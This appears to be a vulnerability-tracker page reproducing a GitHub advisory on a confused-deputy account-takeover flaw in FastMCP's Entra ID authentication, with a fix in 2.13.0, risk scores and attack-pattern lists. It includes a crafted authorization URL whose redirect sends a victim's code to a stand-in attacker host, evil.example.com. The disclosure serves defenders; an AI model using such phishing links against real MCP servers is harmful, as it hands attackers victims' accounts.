GHSA-c2jp-c369-7pvx: FastMCP Auth Integration Allows for Confused Deputy Account Takeover
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. A low-privileged account is enough. No special conditions are required; it is repeatable.
- Fixed version: fastmcp (PyPI) 2.13.0.
Low priority for now. Upgrade to fastmcp (PyPI) 2.13.0 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary FastMCP documentation [covers the scenario](https://gofastmcp.com/integrations/azure) where it is possible to use Entra ID or other providers for authentication. In this context, because Entra ID does not support Dynamic Client Registration (DCR), the FastMCP-hosted MCP server is acting as the authorization provider, as declared in the Protected Resource Metadata (PRM) document hosted on the server. For example, on a local MCP server, it may be hosted here: ```http http://localhost:8000/.well-known/oauth-protected-resource ``` And the JSON representation of the PRM document: ```json { "resource": "http://localhost:8000/mcp", "authorization_servers": [ "http://localhost:8000/" ], "scopes_supported": [ "User.Read", "email", "openid", "profile" ], "bearer_methods_supported": [ "header" ] } ``` Notice that the `authorization_servers` field contains the MCP server itself - it acts as an **OAuth Client** to the downstream authorization server (e.g., Entra ID) and as a **Authorization Server** (AS) to the MCP client. The FastMCP server also hosts the AS metadata: ```bash http://localhost:8000/.well-known/oauth-authorization-server ``` With the following content: ```json { "issuer": "http://localhost:8000/", "authorization_endpoint": "http://localhost:8000/authorize", "token_endpoint": "http://localhost:8000/token", "registration_endpoint": "http://localhost:8000/register", "scopes_supported": [ "User.Read", "email", "openid", "profile" ], "response_types_supported": [ "code" ], "grant_types_supported": [ "authorization_code", "refresh_token" ], "token_endpoint_auth_methods_supported": [ "client_secret_post" ], "code_challenge_methods_supported": [ "S256" ] } ``` All of this confirms that the FastMCP server is, in fact, handling the client-to-server authorization and then delegating the downstream effects (i.e., authorization with Entra ID) to its own redirect logic, with a call like this (as seen through MCP Inspector): ```http http://localhost:8000/authorize?response_type=code&client_id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93&code_challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf_g4&code_challenge_method=S256&redirect_uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug&state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp ``` When using the built-in FastMCP `/authorize` endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here: ```http https://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response_type=code&client_id=7bac43f2-ca62-4148-93a5-fd5686cb16c0&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback&state=Tcv7bbg_v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU&scope=User.Read+email+openid+profile&code_challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM&code_challenge_method=S256&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp ``` >[!NOTE] >In the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below. <img width="2725" height="630" alt="image" src="https://github.com/user-attachments/assets/7ea612bf-a49e-44da-bd79-236c26bb42f3" /> Notice that the client ID and redirect URIs in the `login.microsoftonline.com` call are different than the initial `/authorize` call - that's because we're now switching to using the MCP server's **static app registration** instead of the DCR client details. Completing the authorization flow here for the first time for a user would trigger the Entra ID consent flow: <img width="751" height="952" alt="image" src="https://github.com/user-attachments/assets/2cc4b7ee-c110-4623-8f86-438821f4addf" /> This consent flow is **only showed the first time the user needs to use this application**. Once the consent is set, they will never be prompted for this unless revoked. This is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts. With the user consented to the **static client for Entra ID** that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID. Now, an attacker comes in - in **their own MCP client** (i.e., they maintain one at `https://evil.example.com`) they start the authorization with the same remote MCP server and get to the point where the server produces **their own** authorization URI for this client ID: ```http http://localhost:8000/authorize?response_type=code&client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd&code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug&state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp ``` >[!IMPORTANT] >Note that the redirect URI above points to the `https://evil.example.com` client. At this point - they grab the URL and **coerce the victim** (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the **static Entra ID client that the MCP server is using**. The DCR-d **registered client ID** that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to `https://evil.example.com`. The user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim. ### Details See above - the outline covers the attack vector. ### PoC Standard documented sample that uses Entra ID: ```python from fastmcp import FastMCP from fastmcp.server.auth.providers.azure import AzureProvider # The AzureProvider handles Azure's token format and validation auth_provider = AzureProvider( client_id="f527ed01-9725-45bd-8173-8d3a017ba02f", # Your Azure App Client ID client_secret="#####~######_#######", # Your Azure App Client Secret tenant_id="412e93fe-74e5-4ee6-9b67-1eeb1c79550e", # Your Azure Tenant ID (REQUIRED) base_url="http://localhost:8000", # Must match your App registration required_scopes=["User.Read", "email", "openid", "profile"], # Microsoft Graph permissions # redirect_path="/auth/callback" # Default value, customize if needed ) mcp = FastMCP(name="Azure Secured App", auth=auth_provider) # Add a protected tool to test authentication @mcp.tool async def get_user_info() -> dict: """Returns information about the authenticated Azure user.""" from fastmcp.server.dependencies import get_access_token token = get_access_token() # The AzureProvider stores user data in token claims return { "azure_id": token.claims.get("sub"), "email": token.claims.get("email"), "name": token.claims.get("name"), "job_title": token.claims.get("job_title"), "office_location": token.claims.get("office_location") } ``` ### Impact Potential for server account compromise.
- Published
- Oct 29, 2025
- Updated
- Feb 3, 2026
- EPSS
- —
- CWE
- CWE-287
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
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| Vendor | Product | CPE |
|---|---|---|
| PyPI | fastmcp | pkg:pypi/fastmcp |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | fastmcp | before 2.13.0 | 2.13.0 |
Same product
PyPI: all recordsOther highest-scoring records for the same primary product.
- GHSA-rcfx-77hg-w2wvFastMCP updated to MCP 1.23+ due to CVE-2025-664160Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| PyPI:fastmcp | 2.13.0 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- A low-privileged account is enough.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- A
Weakness class (CWE)
CWE-287 · Improper AuthenticationCVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
osv
Root cause
Authentication is added route by route instead of being enforced in one place. When a route added later bypasses the shared middleware, the session check never runs for it.
The bug in code
The whole CWE-287 classA representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.
Vulnerable
app.use("/admin", requireSession, adminRouter);
// Route added later skips the middleware
app.post("/admin-api/config", updateConfig);Fixed
const admin = express.Router();
admin.use(requireSession, requireRole("admin"));
admin.post("/config", updateConfig);
app.use("/admin", admin);Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- Authentication AbuseCAPEC-114Medium
- Authentication BypassCAPEC-115Medium
- Identity SpoofingCAPEC-151likelihood: Medium · Medium
- Fake the Source of DataCAPEC-194Medium
- Exploiting Trust in ClientCAPEC-22likelihood: High · High
- Utilizing REST's Trust in the System Resource to Obtain Sensitive DataCAPEC-57likelihood: Medium · Very High
- Session HijackingCAPEC-593likelihood: High · Very High
- Token ImpersonationCAPEC-633Medium
ATT&CK techniques
Change log (2)
- Fix✗ → ✓
- CVSS8 → —
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References
Show all references (1 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.